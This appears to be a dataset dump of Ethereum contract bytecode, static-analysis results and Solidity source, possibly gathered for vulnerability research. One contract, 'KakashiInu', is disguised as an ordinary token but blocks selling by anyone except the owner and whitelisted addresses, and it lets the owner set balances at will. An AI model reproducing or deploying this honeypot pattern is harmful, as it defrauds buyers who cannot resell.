0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c65780633f4ba83a146102f15780635c975abb14610308578063661884631461033757806370a082311461039c5780638456cb59146103f35780638da5cb5b1461040a57806395d89b4114610461578063a9059cbb146104f1578063d73dd62314610556578063dd62ed3e146105bb578063f2fde38b14610632575b600080fd5b34801561010257600080fd5b5061010b610675565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610713565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610743565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b061077b565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610781565b6040518082815260200191505060405180910390f35b3480156102fd57600080fd5b50610306610787565b005b34801561031457600080fd5b5061031d610847565b604051808215151515815260200191505060405180910390f35b34801561034357600080fd5b50610382600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085a565b604051808215151515815260200191505060405180910390f35b3480156103a857600080fd5b506103dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061088a565b6040518082815260200191505060405180910390f35b3480156103ff57600080fd5b506104086108d3565b005b34801561041657600080fd5b5061041f610994565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046d57600080fd5b506104766109ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b657808201518184015260208101905061049b565b50505050905090810190601f1680156104e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104fd57600080fd5b5061053c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a58565b604051808215151515815260200191505060405180910390f35b34801561056257600080fd5b506105a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a88565b604051808215151515815260200191505060405180910390f35b3480156105c757600080fd5b5061061c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab8565b6040518082815260200191505060405180910390f35b34801561063e57600080fd5b50610673600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561070b5780601f106106e05761010080835404028352916020019161070b565b820191906000526020600020905b8154815290600101906020018083116106ee57829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561073157600080fd5b61073b8383610c97565b905092915050565b60005481565b6000600360149054906101000a900460ff1615151561076757600080fd5b610772848484610d89565b90509392505050565b60075481565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107e357600080fd5b600360149054906101000a900460ff1615156107fe57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561087857600080fd5b6108828383611148565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092f57600080fd5b600360149054906101000a900460ff1615151561094b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a505780601f10610a2557610100808354040283529160200191610a50565b820191906000526020600020905b815481529060010190602001808311610a3357829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610a7657600080fd5b610a8083836113d9565b905092915050565b6000600360149054906101000a900460ff16151515610aa657600080fd5b610ab083836115fd565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610bd757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dc657600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e1457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e9f57600080fd5b610ef182600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061105882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611259576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ed565b61126c83826117f990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561141657600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561146457600080fd5b6114b682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061168e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561180757fe5b818303905092915050565b600080828401905083811015151561182657fe5b80915050929150505600a165627a7a723058209a1244c9af7aaef795284ea5cd4e8001db864701e7f28c819d01b30a3830d6230029
{"success": true, "error": null, "results": {}}
7,627
0xc25b92460e4f5d6160c9901a113c4b130b0308a1
//website: https://KakashiInu.finance - will be released soon //Telegram: t.me/Kakashiinu pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KakashiInu { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158200818239316791c0948d3219d98b7dfd98eb2310ece71eba306d389adb9fd249e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,628
0x60DaEC030A5B76bfD4aAA6C0b2bf6d4b81C4a34E
pragma solidity 0.4.11; // File: contracts/OwnerValidator.sol contract TokenContract { function totalSupply() constant returns (uint256 supply); function decimals() constant returns(uint8 units); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function transferFromSender(address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } contract OwnerValidator { function validate(address addr) constant returns (bool); } contract Owned { function ownerValidate(address addr) constant returns (bool); bool public isWorking; function Owned() { isWorking = true; } modifier onlyOwner { if (!ownerValidate(msg.sender)) throw; _; } modifier onlyWorking { if (!isWorking) throw; _; } modifier onlyNotWorking { if (isWorking) throw; _; } function setWorking(bool _isWorking) onlyOwner { isWorking = _isWorking; } } contract OwnerValidatorImpl is OwnerValidator, Owned { address[] public owners; TokenContract public tokenContract; function OwnerValidatorImpl() { owners.push(msg.sender); } function indexOfOwners(address _address) private constant returns (uint pos) { pos = 0; for (uint i = 0; i < owners.length; i++) { if (owners[i] == _address) { pos = i + 1; break; } } return pos; } function validate(address addr) constant returns (bool) { return (indexOfOwners(addr) != 0); } function getOwners() constant returns (address[]) { return owners; } function addOwner(address addr) onlyWorking { if (validate(msg.sender)) { if (!validate(addr)) { owners.push(addr); } } } function removeOwner(address addr) onlyWorking { if (validate(msg.sender)) { uint pos = indexOfOwners(addr); if (pos > 0) { owners[pos - 1] = 0x0; } } } function setTokenContract(address _tokenContract) onlyWorking { if (validate(msg.sender)) { tokenContract = TokenContract(_tokenContract); } } function ownerValidate(address addr) constant returns (bool) { return validate(addr); } function transferFromSender(address _to, uint256 _value) returns (bool success) { if (!validate(msg.sender)) throw; return tokenContract.transferFromSender(_to, _value); } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } } // File: contracts/OffChainManager.sol contract OffChainManager { function isToOffChainAddress(address addr) constant returns (bool); function getOffChainRootAddress() constant returns (address); } contract OffChainManagerImpl is OffChainManager, Owned { address public rootAddress; address[] public offChainAddreses; mapping (address => uint256) refOffChainAddresses; OwnerValidator public ownerValidator; TokenContract public tokenContract; function OffChainManagerImpl( address _rootAddress, address _ownerValidator ) { rootAddress = _rootAddress; ownerValidator = OwnerValidator(_ownerValidator); } function setRootAddress(address _address) onlyWorking { if (ownerValidator.validate(msg.sender)) { rootAddress = _address; } } function setOwnerValidatorAddress(address _ownerValidator) onlyWorking { if (ownerValidator.validate(msg.sender)) { ownerValidator = OwnerValidator(_ownerValidator); } } function setTokenContract(address _tokenContract) { if (ownerValidator.validate(msg.sender)) { tokenContract = TokenContract(_tokenContract); } } function offChainAddresesValidCount() constant returns (uint) { uint cnt = 0; for (uint i = 0; i < offChainAddreses.length; i++) { if (offChainAddreses[i] != 0) { cnt++; } } return cnt; } function addOffChainAddress(address _address) private { if (!isToOffChainAddress(_address)) { offChainAddreses.push(_address); refOffChainAddresses[_address] = offChainAddreses.length; } } function removeOffChainAddress(address _address) private { uint pos = refOffChainAddresses[_address]; if (pos > 0) { offChainAddreses[pos - 1] = 0; refOffChainAddresses[_address] = 0x0; } } function addOffChainAddresses(address[] _addresses) onlyWorking { if (ownerValidator.validate(msg.sender)) { for (uint i = 0; i < _addresses.length; i++) { addOffChainAddress(_addresses[i]); } } } function removeOffChainAddresses(address[] _addresses) onlyWorking { if (ownerValidator.validate(msg.sender)) { for (uint i = 0; i < _addresses.length; i++) { removeOffChainAddress(_addresses[i]); } } } function ownerValidate(address addr) constant returns (bool) { return ownerValidator.validate(addr); } function transferFromSender(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; return tokenContract.transferFromSender(_to, _value); } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } function isToOffChainAddress(address addr) constant returns (bool) { return refOffChainAddresses[addr] > 0; } function getOffChainRootAddress() constant returns (address) { return rootAddress; } function getOffChainAddresses() constant returns (address[]) { return offChainAddreses; } function isToOffChainAddresses(address[] _addresses) constant returns (bool) { for (uint i = 0; i < _addresses.length; i++) { if (!isToOffChainAddress(_addresses[i])) { return false; } } return true; } } // File: contracts/TokenContract.sol library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + 